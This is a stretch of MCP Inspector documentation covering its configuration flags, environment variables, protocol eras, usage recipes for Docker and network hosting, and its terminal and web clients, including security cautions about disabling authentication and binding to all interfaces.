| `--callback-url ` | `MCP_OAUTH_CALLBACK_URL` | The redirect URI sent to the authorization server. Default `http://127.0.0.1:6276/oauth/callback`. Must be a loopback host (`127.0.0.1` or `localhost`): the local callback listener receives the authorization code over plaintext `http`, so any other host is rejected and there is no flag to override this. |
## CLI-only flags
The whole scripting surface belongs to the CLI. See [CLI client](/docs/2026-07-28/tools/inspector/cli) for usage.
| Group | Flags |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **What to invoke** | `--method`, `--tool-name`, `--tool-arg`, `--tool-args-json`, `--uri`, `--prompt-name`, `--prompt-args`, `--log-level`, `--metadata`, `--tool-metadata` |
| **How to run it** | `--connect-timeout`, `--format`, `--app-info` |
| **Auth** | `--use-stored-auth`, `--stored-auth-only`, `--relogin`, `--wait-for-auth`, `--list-stored-auth`, `--print-handoff` |
## Environment variables
Environment variables split the same way as flags: two are read by the launcher itself, and the rest belong to the CLI and TUI or to the web backend.
### Read by the launcher
| Variable | Effect |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `MCP_DEBUG` | Append the error stack to a top-level failure. Only when set to a meaningful value: `0`, `false`, and empty read as off. |
| `DEBUG` | Same, with the same meaningful-value rule, so a stray `DEBUG=0` doesn't turn stack traces on and `DEBUG` still works as the npm `debug` package's namespace filter. |
### CLI and TUI
| Variable | Effect |
| -------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `MCP_CATALOG_PATH` | Fallback for `--catalog`. Honored only when no ad-hoc target is given, so a shell that exports it can still run one-off ad-hoc invocations. |
| `MCP_CLIENT_CONFIG_PATH` | Fallback for `--client-config`. |
| `MCP_OAUTH_CALLBACK_URL` | Fallback for `--callback-url`. |
| `MCP_STORAGE_DIR` | Directory for the OAuth state file (`/oauth.json`). |
| `MCP_INSPECTOR_OAUTH_STATE_PATH` | Per-file override of the OAuth state path. Takes precedence over `MCP_STORAGE_DIR`. |
| `MCP_AUTO_OPEN_ENABLED` | Controls browser auto-open and whether interactive OAuth may run without a TTY. `true` forces auto-open and allows OAuth prompts without a TTY, `false` never opens, and unset opens only on a TTY. |
### Web backend environment variables
| Variable | Effect |
| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| `MCP_INSPECTOR_API_TOKEN` | Pin the [session token](/docs/2026-07-28/tools/inspector/web#the-session-token) instead of generating a random one per launch. |
| `DANGEROUSLY_OMIT_AUTH` | Disable the `/api/*` token check entirely. |
| `HOST` | Bind host. Defaults to `localhost`. |
| `CLIENT_PORT` | Web UI port. Defaults to `6274`. |
| `DANGEROUSLY_BIND_ALL_INTERFACES` | Required opt-in to bind a wildcard host (`0.0.0.0`, `::`, or any equivalent spelling). |
| `ALLOWED_ORIGINS` | Comma-separated origin allow-list. **Replaces** the default list rather than merging. |
| `MCP_SANDBOX_PORT` | Pin the MCP Apps sandbox port, which is dynamic by default. |
| `HTTPS_PROXY` / `HTTP_PROXY` / `NO_PROXY` | Standard proxy routing for outbound MCP connections. |
Never combine `DANGEROUSLY_OMIT_AUTH` and `DANGEROUSLY_BIND_ALL_INTERFACES`.
The web backend spawns processes and holds OAuth tokens, so anyone who can
reach it can drive it.
## Catalog file format
A catalog or config file is the familiar MCP client config shape (a `mcpServers` object) with per-server Inspector settings alongside:
```json theme={null}
{
"mcpServers": {
"my-stdio-server": {
"command": "node",
"args": ["build/index.js"],
"env": { "API_KEY": "..." }
},
"my-modern-server": {
"type": "http",
"url": "https://api.example.com/mcp",
"protocolEra": "modern",
"modernLogLevel": "info",
"headers": { "X-Tenant": "acme" },
"roots": [{ "uri": "file:///Users/me/project", "name": "project" }]
}
}
}
```
Fields that equal their default are omitted when the Inspector writes the file back, keeping diffs minimal. `protocolEra` (see [Protocol eras](/docs/2026-07-28/tools/inspector/protocol-eras)) defaults to `legacy` and `modernLogLevel` to `debug`.
You do not have to hand-write these; the web client can [import an existing client config](/docs/2026-07-28/tools/inspector/recipes#importing-an-existing-client-config) from Claude Desktop, Cursor, Cline, or VS Code, or a registry `server.json`.
# Protocol eras
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/protocol-eras
How the Inspector negotiates legacy vs. modern MCP, and how every feature is handled between protocol eras
The 2026-07-28 revision of MCP made substantial changes to the protocol. The Inspector therefore treats **protocol era** (legacy or modern, meaning before or as of that revision) as a first-class, per-server setting, orthogonal to the transport: the same HTTP URL can be inspected as a legacy server or as a modern one. Several tabs render meaningfully different UI and traffic depending on which era is in effect.
## The `Protocol Era` setting
Each server carries a `protocolEra` of `legacy`, `auto`, or `modern`. In the web client it lives in **Server Settings**; in a catalog or config file it is the `protocolEra` field; in the CLI and TUI it comes from that same file.
| Era | What the Inspector does at connect |
| -------- | --------------------------------------------------------------------------------------- |
| `legacy` | **The default.** Plain `initialize`, no probing at all. |
| `auto` | Probe `server/discover` first, and fall back to `initialize` on any non-modern outcome. |
| `modern` | Pin exactly `2026-07-28`. No fallback, so a non-modern server fails loudly. |
**Why `legacy` is the default, and not `auto`.** A debugging tool must not
auto-probe. A `server/discover` probe stalls against silent legacy stdio
servers, and it pollutes the recorded transcript you came here to read. Opting
into `auto` or `modern` is a deliberate act, so what you see in the Protocol
tab is what your server would have seen from a client behaving the way you
configured.
Era selection works the same way in all three clients.
Once connected, the negotiated era is reported in the connection header and in **Connection Info**. On a modern connection, `server/discover` also supplies `capabilities` (including `extensions`), `instructions`, and the list of `supportedVersions`. The server's name and version arrive in the result `_meta` under `io.modelcontextprotocol/serverInfo`.
## Reproducing each era locally
Every section below ends with a **Reproduce with ...** pointer to a JSON config for one of the **composable test servers** shipped in the Inspector repository. Clone the repo, build the test servers, then point the Inspector at the config the section names.
```bash theme={null}
git clone https://github.com/modelcontextprotocol/inspector
cd inspector && npm install && npm run build
cd clients/web && npm run test-servers:build
```
***
## Logging
Logging is **session-scoped**. The client sends `logging/setLevel` once, and the server emits `notifications/message` at or above that level for the rest of the session.
The **Logs** tab shows a **Set Active Level** selector plus a **Set** button. Choose a level, click Set, and subsequent server logs stream into the panel.
Reproduce with `test-servers/configs/logging-legacy-http.json`.
`logging/setLevel` is **gone**. Instead the client opts in **per request**, by stamping `_meta["io.modelcontextprotocol/logLevel"]` on each outgoing request. A server MUST NOT emit `notifications/message` for a request that did not opt in.
The **Logs** tab therefore shows a **Log Level per Request** control instead. Pick a level and every subsequent request carries the stamp, visible in the Network tab's request body. Logs emitted while handling a request ride that request's SSE response stream.
Set the control to **Off** and the `logLevel` key is omitted entirely, so the same tool call produces no logs at all. That silence is correct behavior, not a bug.
The per-server default is `debug` (opted in at the most verbose level, since the Inspector is a debugging tool); set `modernLogLevel: "off"` on a server to opt back out by default.
Reproduce with `test-servers/configs/logging-modern-http.json`.
***
## Resource subscriptions
Clicking **Subscribe** on a resource sends `resources/subscribe`. The Subscriptions section lists the URI with no stream chrome. When the resource changes, the server emits `notifications/resources/updated` and the subscribed tile's last-updated time is stamped.
Reproduce with `test-servers/configs/subscriptions-legacy-http.json`, which also serves an `update_resource` tool so you can drive the notification round-trip yourself.
The same **Subscribe** button instead sends **`subscriptions/listen`**, with a filter carrying `resourceSubscriptions` plus the `resourcesListChanged` opt-in. The subscription is confirmed when the server sends `notifications/subscriptions/acknowledged`.
Because the subscription is now a long-lived stream rather than a session flag, the Subscriptions section grows a **stream-status badge** in its header that moves from `Connecting...` to `Listening`. If the stream drops, the Inspector reconnects by re-sending `subscriptions/listen`.
Reproduce with `test-servers/configs/subscriptions-modern-http.json`.
***
## Tasks
Tasks change the most between protocol eras, including *how the Inspector UI tab is gated*.
The **Tasks** tab appears when the server advertises `capabilities.tasks`. Run a tool with **Run as task** enabled and the tab lists it, populated by `tasks/list` and polled with `tasks/get`. The completed payload is fetched with a **blocking `tasks/result`**, and **Cancel** sends `tasks/cancel`.
Reproduce with `test-servers/configs/tasks-legacy-http.json`.
Tasks are an **extension** (`io.modelcontextprotocol/tasks`, [SEP-2663](/seps/2663-tasks-extension)), so the tab is gated on the *negotiated extension* rather than on `capabilities.tasks`.
Run a tool as a task and `tools/call` returns a `CreateTaskResult` (`resultType: "task"`, visible in the Protocol and Network tabs). The Inspector polls **`tasks/get`** only; there is no `tasks/list`, so **Refresh** re-polls the handles the client already knows about. A completed task **inlines its result**, with no blocking `tasks/result` call.
A task that needs more information moves to `input_required` and surfaces an embedded [elicitation](/specification/draft/client/elicitation) in the pending-request modal (the dialog the web client opens whenever a request is waiting on you). Answering it sends **`tasks/update`** carrying the `inputResponses`, and the next poll completes.
Reproduce with `test-servers/configs/tasks-modern-http.json` (tools `modern_task` and `modern_input_task`).
***
## Multi-round tool results (MRTR)
On the modern era a tool can return `input_required` instead of a final result, embedding an [elicitation](/specification/draft/client/elicitation), a [sampling](/specification/draft/client/sampling) request, or a [`roots/list`](/specification/draft/client/roots) request. The client answers that embedded request and retries the `tools/call` under a fresh JSON-RPC id until the call reaches `complete`.
The Inspector drives MRTR **manually**, so each round pauses at the **pending-request modal**, tagged `input_required`, for you to answer. The Protocol view groups the whole exchange as one MRTR conversation rather than as unrelated calls.
`test-servers/configs/mrtr-showcase-http.json` bundles every shape in one modern server:
| Tool | What it exercises |
| --------------- | ----------------------------------------------------------------------------- |
| `mrtr_confirm` | A single elicitation round. |
| `mrtr_two_step` | Two elicitation rounds, threaded through `requestState`. |
| `mrtr_sample` | An embedded sampling request, routed to the Sampling panel. |
| `mrtr_roots` | An embedded `roots/list`, answered silently from configured roots (no modal). |
| `mrtr_edge` | An `inputRequests`-only round, then a `requestState`-only round. |
| `mrtr_loop` | Never completes, so the client stops at its `MRTR_MAX_ROUNDS` limit. |
The legacy `collect_elicitation` pattern (a server calling
`server.elicitInput`) **errors** on a 2026-07-28 connection, because
server-to-client requests aren't allowed there. MRTR is its modern
replacement.
***
## Tools: mirrored headers and excluded tools
[SEP-2243](/seps/2243-http-standardization) lets a tool annotate an argument with `x-mcp-header`, asking a Streamable HTTP client to mirror that argument's value into an `Mcp-Param-*` request header.
The Inspector surfaces both halves of that contract in the **Tools** tab:
* A tool with a **valid** annotation shows a **"Mirrored request headers (SEP-2243)"** section in its detail panel, for example `city -> Mcp-Param-City`.
* A tool with an **invalid** annotation (say, a header name of `"Bad Header"`, where the space makes it an invalid RFC 9110 token) appears struck through in the sidebar under an **"Excluded (SEP-2243)"** divider, with the reason on hover. A conforming client MUST drop such a tool from `tools/list`; the Inspector shows you *why* it was dropped instead of silently hiding it.
Reproduce with `test-servers/configs/xmcpheader-modern-http.json`.
**`Mcp-Param-*` mirroring is skipped by the SDK in the browser.** Calling a
mirrored tool from the *web* client omits the header, so a strict server
answers `-32020` (`HeaderMismatch`, see the [error
taxonomy](#network-and-protocol-headers-and-the-error-taxonomy) below). The
same tool called from the **CLI** or **TUI**, which both run on Node, mirrors
correctly. The header is dropped by an environment check inside the SDK,
outside the Inspector's control.
### `-32602` error panels
Under the modern era a `tools/call` that rejects with `-32602` renders as a distinct **error panel**:
* **Unknown Tool**: when the message names a tool the server does not list. Reproduce by calling any name absent from the server's `tools/list`.
* **Invalid Parameters**: any other `-32602`. Reproduce with the `trigger_invalid_params` tool in the config above.
Both eras reject with `-32602`; only the Inspector's presentation changes. On a legacy connection you get one generic JSON-RPC failure and have to read the message to tell which case you hit.
***
## Network and Protocol: headers and the error taxonomy
The modern era standardizes a set of `Mcp-*` HTTP headers and introduces a richer JSON-RPC error taxonomy ([SEP-2243](/seps/2243-http-standardization) / [SEP-2575](/seps/2575-stateless-mcp)). The two monitoring tabs divide the work:
* The **Network** tab is the HTTP view: mirrored `Mcp-*` headers are highlighted and sentinel values decoded.
* The **Protocol** tab is the JSON-RPC view: each spec error renders distinctly rather than as a generic failure.
`test-servers/configs/modern-network-http.json` serves four tools that produce a real HTTP status plus a JSON-RPC error body, one per class:
| Tool | HTTP | JSON-RPC code | Meaning |
| ----------------------------- | ----- | ------------- | ------------------------------------------------------------ |
| `trigger_header_mismatch` | `400` | `-32020` | A required mirrored header was missing or wrong. |
| `trigger_missing_capability` | `400` | `-32021` | The request omitted a client capability the server requires. |
| `trigger_unsupported_version` | `400` | `-32022` | Unsupported version; supported versions in `data.supported`. |
| `trigger_method_not_found` | `404` | `-32601` | Method not found. |
***
## Sessions
A legacy Streamable HTTP connection may carry a server-assigned session id (`Mcp-Session-Id`), which the client tears down with an HTTP `DELETE`. A modern connection is **sessionless and per-request**: with no session id the client SDK sends no `DELETE` to the server, so disconnect is purely local.
This has a practical consequence for your own test servers. A stateless modern handler constructed per request cannot hold state between calls, which is why `test-servers/configs/subscriptions-modern-http.json`, unlike its legacy counterpart, omits an `update_resource` tool: the mutation would run against a throwaway server instance and be invisible to the next read.
# Recipes
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/recipes
Practical guides for transports, importing configs, reviewing MCP Apps, Docker, and network hosting
## Connecting stdio vs. HTTP servers
### stdio
A stdio server is a process the Inspector spawns. Everything positional is the command line:
```bash theme={null}
mcp-inspector node build/index.js -- --verbose --config /etc/myserver.conf
```
Put `--` before any arguments meant for your server. Without the separator, `--verbose` would be
parsed by the Inspector and never reach the server.
Give the process environment variables with `-e` and a working directory with `--cwd`:
```bash theme={null}
mcp-inspector -e API_KEY=abc123 -e REGION=us-east-1 --cwd ~/projects/my-server \
node build/index.js
```
The server's `stderr` lands in the **Console** tab (web) or the Console tab (`o`, TUI), which is where most stdio servers put their diagnostics, so check there first when a connection fails for no visible reason.
### HTTP and SSE
```bash theme={null}
mcp-inspector --server-url https://api.example.com/mcp --transport http \
--header "X-Tenant: acme"
```
`--transport` accepts `http` (Streamable HTTP) and `sse`. If the server is protected, see [Authorization](/docs/2026-07-28/tools/inspector/authorization): no setup is needed in advance, because when the server answers `401` the Inspector runs the OAuth flow described there and retries the connection.
For an HTTP server, also decide its [protocol era](/docs/2026-07-28/tools/inspector/protocol-eras). The default is `legacy`; set `modern` or `auto` in Server Settings (or `protocolEra` in the catalog file) to exercise the 2026-07-28 behavior.
## Importing an existing client config
On the Servers screen, **Add Servers** can import MCP servers you have already configured
elsewhere instead of retyping them. It parses Claude Desktop, Cursor, Cline, and VS Code client
configs directly, and it also reads a server's own [MCP Registry](/registry/about) `server.json`.
Import merges into the active [catalog](/docs/2026-07-28/tools/inspector/configuration#choosing-servers)
(the Inspector's writable server list), so existing entries aren't clobbered. If you'd rather
not touch your catalog at all, launch against the foreign file read-only instead:
```bash theme={null}
mcp-inspector --config ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
`--config` guarantees the file is served as-is and never written, seeded, or migrated.
## Reviewing an MCP App
[MCP Apps](/extensions/apps/overview) are tools that carry a UI widget. For an automated reviewer (CI or an agent), use the CLI for every check that returns JSON, and open a browser only to inspect the rendered widget.
```bash theme={null}
mcp-inspector --cli --transport http --server-url https://example.com/mcp \
--method tools/call --tool-name --app-info
```
One JSON line on stdout; exit `0` if the tool has an app, `2` if not, so an `&&` chain short-circuits:
```json theme={null}
{
"hasApp": true,
"toolName": "get_pros",
"resourceUri": "ui://pros/view.html",
"csp": { "connectDomains": ["https://api.example.com"] },
"permissions": { "clipboard": false },
"prefersBorder": true,
"resourceMimeType": "text/html"
}
```
`csp` and `permissions` (and `domain`, when the resource declares one) live on the UI **resource** rather than the tool, so `--app-info` reads that resource. The tool is never called.
```bash theme={null}
mcp-inspector --cli --transport http --server-url https://example.com/mcp \
--method tools/call --tool-name --tool-args-json '{"zip":"10001"}' --format json
```
```bash theme={null}
TOKEN="$(openssl rand -hex 24)"
HOST=127.0.0.1 CLIENT_PORT=6274 MCP_SANDBOX_PORT=6275 \
MCP_AUTO_OPEN_ENABLED=false MCP_INSPECTOR_API_TOKEN="$TOKEN" \
mcp-inspector --web &
```
Pinning `MCP_SANDBOX_PORT` matters here: the app's UI is served from a separate sandbox port that is dynamic by default, and your automation needs a fixed address to reach it.
```
http://127.0.0.1:6274/?serverUrl=&transport=http&autoConnect=&openApp=&appArgs=&autoOpen=
```
`appArgs` is the tool's arguments as base64url-encoded JSON, and every deep-link parameter is described under [Deep links](/docs/2026-07-28/tools/inspector/web#deep-links). `autoConnect` and `autoOpen` must both equal the session token, since `autoOpen` fires a tool call straight from the URL and needs the same gate as `autoConnect`.
The Apps screen exposes a stable automation contract. Poll these attributes instead of sleeping:
| Selector | Attribute | Values |
| ----------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------- |
| `[data-testid="apps-form"]` | `data-app-status` | `ready` (on failure, `data-app-error` carries the reason) |
| `[data-testid="connection-status"]` | `data-status` | `connecting`, then `connected` or `error` (`data-error-message` has the detail) |
| `[data-testid="connection-status"]` | `data-deeplink` | `parsed`, `rejected`, or `none` (`none` means no deep link was given, `rejected` means one was refused) |
## Docker
A container image is published to GitHub Container Registry for `linux/amd64` and `linux/arm64`:
```bash theme={null}
docker run --rm -p 6274:6274 ghcr.io/modelcontextprotocol/inspector
```
Read the [session token](/docs/2026-07-28/tools/inspector/web#the-session-token) from the container logs, or pin it with `-e MCP_INSPECTOR_API_TOKEN=`.
The image defaults to `--web`, bound to `0.0.0.0:6274` with browser auto-open off, and runs as a non-root user. It sets `DANGEROUSLY_BIND_ALL_INTERFACES=true` because a container must bind the wildcard address to be reachable through `-p`.
Its `HEALTHCHECK` probes the web UI, so add `--no-healthcheck` when running `--cli` or `--tui` (neither has a web server). `` below is an [ad-hoc target](/docs/2026-07-28/tools/inspector/configuration#ad-hoc-targets): a positional stdio command, or `--server-url --transport http`.
```bash theme={null}
docker run --rm --no-healthcheck ghcr.io/modelcontextprotocol/inspector --cli --method tools/list
```
**If you remap the published port, set `ALLOWED_ORIGINS`.** With `-p
8080:6274` the browser's origin becomes `http://localhost:8080`, which no
longer matches the in-container port, and connects will `403`. Either run `-e
CLIENT_PORT=8080 -p 8080:8080`, or set `-e
ALLOWED_ORIGINS=http://localhost:8080,http://127.0.0.1:8080`.
## Hosting on a network
The Inspector binds `localhost` by default and its backend spawns processes, so treat exposing it to a network as a deliberate decision.
The Inspector refuses to bind the **wildcard** all-interfaces addresses (`0.0.0.0`, `::`, and every equivalent spelling) unless you set `DANGEROUSLY_BIND_ALL_INTERFACES=true`. Binding a **specific** address is allowed with no opt-in, because that's one deliberate exposure rather than every interface at once, which is the shape DNS-rebinding attacks target.
| Goal | What to do |
| -------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Reach it from another machine on the LAN** | `HOST=192.168.1.50`. The default origin allow-list follows the bind host, so `http://192.168.1.50:6274` is accepted with no further config. |
| **Behind TLS or a reverse proxy** | The browser's `Origin` becomes the public origin, which won't match the bind host. Set `ALLOWED_ORIGINS=https://inspector.example.com`. |
| **Wildcard bind (containers)** | Set `DANGEROUSLY_BIND_ALL_INTERFACES=true`. Loopback access still works out of the box; reaching it at a non-loopback address needs `ALLOWED_ORIGINS`. |
`ALLOWED_ORIGINS` **replaces** the default list rather than merging with it. List every origin you'll browse from, including the loopback forms you want to keep:
```
ALLOWED_ORIGINS=http://localhost:6274,http://127.0.0.1:6274,http://192.168.1.50:6274
```
Each entry must include the scheme; a scheme-less value is dropped with a warning. A blank value does **not** disable the check; it falls back to the default. There is no knob to turn origin validation off.
Two further caveats when going off loopback:
* **MCP Apps need their sandbox port reachable too.** It's a separate, dynamic-by-default port; pin it with `MCP_SANDBOX_PORT` and expose or forward it. The Docker image publishes only `6274`.
* **MCP Apps can't render over TLS or at a bare IPv6 literal.** The sandbox URL is always plain `http`, so an `https://` page blocks the iframe as mixed content; and a bracketed IPv6 literal isn't a valid CSP host-source, so browse at a name or an IPv4 address.
Whatever the shape: keep authentication on. Do not set `DANGEROUSLY_OMIT_AUTH` on anything reachable by anyone but you.
## Development workflow
A loop that works well in practice:
`--method initialize` confirms the server starts, handshakes, and reports
the capabilities you expect, in one second, with a machine-readable answer.
Most "it doesn't work" turns out to be here.
Schema-driven forms, rendered results, and the Protocol tab beside them make
it fast to find the case where a tool misbehaves.
Invalid inputs, missing required prompt arguments, concurrent calls, and,
for HTTP servers, both protocol eras. Verify the *errors* are as intentional
as the successes.
Turn what you found into a CI assertion: pipe the CLI's `--format json`
output to `jq -e` with `--stored-auth-only`, so a missing token fails fast
instead of starting interactive OAuth. See [Verify a server in
CI](/docs/2026-07-28/tools/inspector/cli#verify-a-server-in-ci) for the full
command.
# TUI client
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/tui
The terminal MCP Inspector: navigation, tabs, and keyboard reference
The TUI is the Inspector's terminal interface, with the same interactive exploration of tools, resources, and prompts as the web client. Use it on a remote host over SSH, in a locked-down environment, or when you prefer to stay in the terminal.
```bash theme={null}
npx @modelcontextprotocol/inspector --tui node build/index.js # with an ad-hoc stdio server
```
## Choosing servers
Unlike the CLI, the TUI has no `--server ` flag for picking one entry: it reads its servers from a catalog or config file, loads every server in it, and lets you pick from an on-screen list:
```bash theme={null}
mcp-inspector --tui --catalog mcp.json # writable catalog, seeded empty if missing (unlike the web client)
mcp-inspector --tui --config mcp.json # read-only session, errors if absent
```
With neither `--catalog` nor `--config`, and no [ad-hoc target](/docs/2026-07-28/tools/inspector/configuration#ad-hoc-targets), it uses the default writable catalog `~/.mcp-inspector/mcp.json`. See [Configuration and flags](/docs/2026-07-28/tools/inspector/configuration).
## Tabs
| Tab | Key | What it shows |
| ------------- | --- | ------------------------------------------------------------------------------------------- |
| **Info** | `i` | Server info, capabilities, and negotiated protocol details. |
| **Auth** | `a` | OAuth state for the selected server, plus a **Clear OAuth state** action. |
| **Resources** | `r` | Browse and read resources. |
| **Prompts** | `m` | List prompts and render them with arguments. |
| **Tools** | `t` | View tools and execute them with form-like inputs. |
| **Protocol** | `p` | JSON-RPC request/response/notification history. |
| **Network** | `n` | HTTP traffic for SSE and [Streamable HTTP](/specification/latest/basic/transports) servers. |
| **Console** | `o` | `stderr` from a connected stdio server process. |
The accelerators avoid collisions rather than always taking the first letter: **P**rotocol takes `p` so Pro**m**pts takes `m`, and **C**onsole takes `o` because `c` is the global Connect action.
## Navigation
| Key | Action |
| -------------------------------- | --------------------------------------------------- |
| `Left` / `Right` arrows or `Tab` | Switch tabs |
| `Up` / `Down` arrows | Move through the current list |
| `Enter` | Select an item, execute a tool, or fetch a resource |
| `c` | Connect to the selected server |
| `d` | Disconnect |
| `Esc` or `Ctrl+C` | Exit |
## Authorizing an HTTP server
1. Select an HTTP or SSE server and press **`c`** to connect.
2. If the server requires authorization, the TUI starts OAuth automatically and opens the authorization URL in a browser.
3. When the browser redirect lands on the TUI's loopback listener, the connection finishes on its own, with no second **`c`**.
4. Use the **Auth** tab to inspect the resulting OAuth state, or to clear it.
The TUI's callback listener defaults to `http://127.0.0.1:6276/oauth/callback`. The port is fixed on purpose: a pre-registered (static) OAuth client, a [Client ID Metadata Document (CIMD)](/specification/latest/basic/authorization/client-registration#client-id-metadata-documents), or an enterprise-managed IdP all need a redirect URI known in advance. Register that URI once and it works across sessions. On a remote host where your browser is on another machine, forward the callback port so the redirect reaches this listener; see [Callback URLs](/docs/2026-07-28/tools/inspector/authorization#callback-urls).
The trade-off is that only one TUI OAuth flow can hold the port at a time; a second concurrent flow fails with `EADDRINUSE`. To override it, pass `--callback-url` or set `MCP_OAUTH_CALLBACK_URL`: use a different fixed port per instance, or `http://127.0.0.1:0/oauth/callback` for an OS-assigned ephemeral port when your authorization server registers redirect URIs dynamically.
Redirect URIs must match **exactly** what you registered. `localhost` and
`127.0.0.1` are different URIs as far as an authorization server is concerned.
Per-server OAuth fields in the catalog (static client id/secret, scopes, the enterprise-managed flag) are applied automatically. Install-wide settings (CIMD, enterprise IdP) come from `~/.mcp-inspector/storage/client.json`, the same file the web client's **Client Settings** dialog writes. Point at a different one with `--client-config` or `MCP_CLIENT_CONFIG_PATH`.
See [Authorization](/docs/2026-07-28/tools/inspector/authorization) for the full picture.
## Requirements
The TUI needs a real TTY with raw-mode support. It will not run usefully in a headless CI job; use the [CLI](/docs/2026-07-28/tools/inspector/cli) there.
# Web client
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/web
A tab-by-tab walkthrough of the graphical MCP Inspector
The web client is the Inspector's richest surface: a single-page app backed by a small Node server that owns the actual MCP connections. It is the default mode, so `npx @modelcontextprotocol/inspector` with no mode flag lands here.
```bash theme={null}
npx @modelcontextprotocol/inspector # empty, add servers in the UI
npx @modelcontextprotocol/inspector node build/index.js # with an ad-hoc stdio server
npx @modelcontextprotocol/inspector --catalog ./mcp.json # with a catalog file
```
## The session token
The Node server behind the web client guards every `/api/*` route with a per-launch token, because it can spawn processes on your machine. The launcher prints a URL containing that token: **open that URL**, and don't type `localhost:6274` from memory.
The browser recovers the token from three places, in priority order:
1. `window.__INSPECTOR_API_TOKEN__`, injected into `index.html` on every page load. This is what makes a bare-URL reload or a bookmark keep working.
2. A `?MCP_INSPECTOR_API_TOKEN=...` query string, the form used in that printed URL.
3. `sessionStorage`, as a backstop.
Set the `MCP_INSPECTOR_API_TOKEN` environment variable to pin a known token (useful for scripted launches), or set `DANGEROUSLY_OMIT_AUTH=true` to disable the check entirely, but only on a machine where nothing else can reach the port. Both are described under [Web backend environment variables](/docs/2026-07-28/tools/inspector/configuration#web-backend-environment-variables).
## Dev mode
`--dev` is a **web-only** flag. It runs the Vite dev server instead of serving the pre-built bundle, which matters if you're working on the Inspector itself:
```bash theme={null}
mcp-inspector --web --dev
```
Production `--web` serves a built bundle. In the published package that bundle always ships; in a fresh source checkout it doesn't, so the runner builds it on demand the first time you launch.
## The tab bar
| Tab | Shown when | What it does |
| ------------- | --------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
| **Servers** | Always | The server list: add, edit, import, connect, and open per-server settings. |
| **Apps** | The server exposes MCP App tools | Renders a tool's UI in a sandboxed frame. |
| **Tools** | `tools` capability | Browse schemas, fill arguments, call, inspect results. |
| **Prompts** | `prompts` capability | List prompts, supply arguments, preview generated messages. |
| **Resources** | `resources` capability | Browse, read, and subscribe to resources. |
| **Tasks** | `capabilities.tasks` (legacy era) or the tasks extension (modern era) | Track long-running tool calls. |
| **Logs** | `logging` capability | Server `notifications/message` output, plus the era-appropriate level control. |
| **Protocol** | Always | The JSON-RPC transcript: requests, responses, notifications. |
| **Network** | HTTP / SSE servers | The raw HTTP view: status, headers, bodies. |
| **Console** | stdio servers | The server process's `stderr`. |
**Network** and **Console** never appear together. Legacy and modern eras are described in [Protocol eras](/docs/2026-07-28/tools/inspector/protocol-eras).
### The monitoring sidebar
**Tasks**, **Logs**, **Protocol**, **Network**, and **Console** form a *monitor group*. Pin the group and they leave the tab bar and move into a resizable right-hand column, so you can watch traffic while working in Tools or Resources. The column width and the selected monitor tab persist across reloads.
## Servers
The Servers screen is the entry point. A server row carries its transport, its connection state, and a control that opens its per-server settings.
Where that list comes from, and whether it's editable, depends on how you launched:
| Launch | Server list | Editable? |
| -------------------------------------------- | ----------------------------------------------------------------------- | --------- |
| `mcp-inspector --web` | The default catalog `~/.mcp-inspector/mcp.json`, seeded on first launch | Yes |
| `--catalog ` | That file, seeded with the sample servers if missing | Yes |
| `--config ` | That file, read-only (never written or seeded) | No |
| `--server-url ` or a positional command | One ad-hoc server, held in memory | No |
On a first launch the web client seeds the catalog with two sample servers: a filesystem server scoped to `/tmp` and the canonical "everything" reference server. See [Configuration and flags](/docs/2026-07-28/tools/inspector/configuration) for the full rules, including why the CLI and TUI seed an empty catalog instead.
### Server Settings
* **Protocol Era**: `legacy` / `auto` / `modern`. See [Protocol eras](/docs/2026-07-28/tools/inspector/protocol-eras).
* **Log level per request**: the level a modern-era connection stamps on each outgoing request by default, or `off` to opt out (see [Logging](/docs/2026-07-28/tools/inspector/protocol-eras#logging)).
* **Advertised Extensions**: which extensions the Inspector declares in `capabilities.extensions`. A debugging knob: a server may legitimately change what it registers based on what you advertise. Uncheck the Tasks extension and reconnect against the `test-servers/configs/advertised-extensions-http.json` fixture (setup in [Reproducing each era locally](/docs/2026-07-28/tools/inspector/protocol-eras#reproducing-each-era-locally)) to watch a tool disappear.
* **Roots**: the roots advertised via the `roots` client capability. `@modelcontextprotocol/server-filesystem`, for instance, calls `roots/list` to learn its allowed directories.
* **Headers**, **timeouts**, and **OAuth** fields.
* **Fetch lists one page at a time**: when off, list results are auto-aggregated across pages on connect; when on, each list loads page 1 only with a **Load next page** control and an *N pages loaded* status. Reproduce with `test-servers/configs/pagination-http.json`, which paginates 12 tools, resources, and prompts into three pages each.
## Tools
Select a tool to see its description, its input schema rendered as a form, and its annotations. Fill the form and call it; the result renders below with structured content, embedded resources, and images handled natively.
On modern-era servers this screen also shows mirrored `Mcp-Param-*` headers, excluded tools, and distinct `-32602` error panels, all covered in [Protocol eras](/docs/2026-07-28/tools/inspector/protocol-eras#tools-mirrored-headers-and-excluded-tools).
## Resources
Lists resources and resource templates with their MIME types and descriptions, reads content on selection, and offers **Subscribe** on servers that support subscriptions. The subscription mechanics differ by era; see [Resource subscriptions](/docs/2026-07-28/tools/inspector/protocol-eras#resource-subscriptions).
## Prompts
Lists prompt templates with their arguments, and renders the generated messages for the arguments you supply, which is the fastest way to confirm a prompt produces what you intended.
## Apps
[MCP Apps](/extensions/apps/overview) are tools that carry UI. The Apps tab renders one in a sandboxed iframe served from a **separate port**, exercises the `ui/*` bridge, and shows the view's `ui/message` submissions and its `notifications/message` logs in side panels.
* The sandbox port is dynamic by default; pin it with `MCP_SANDBOX_PORT` if you need to expose or forward it.
* The sandbox is gated by a `frame-ancestors` CSP, and a bracketed IPv6 literal is not a valid CSP host-source, so browse the Inspector at `localhost`, `127.0.0.1`, a hostname, or a LAN IPv4, **not** at a bare `http://[::1]:...`.
* The sandbox URL is always plain `http`, so an `https://` Inspector page blocks the frame as mixed content. MCP Apps need a plain-`http` origin today.
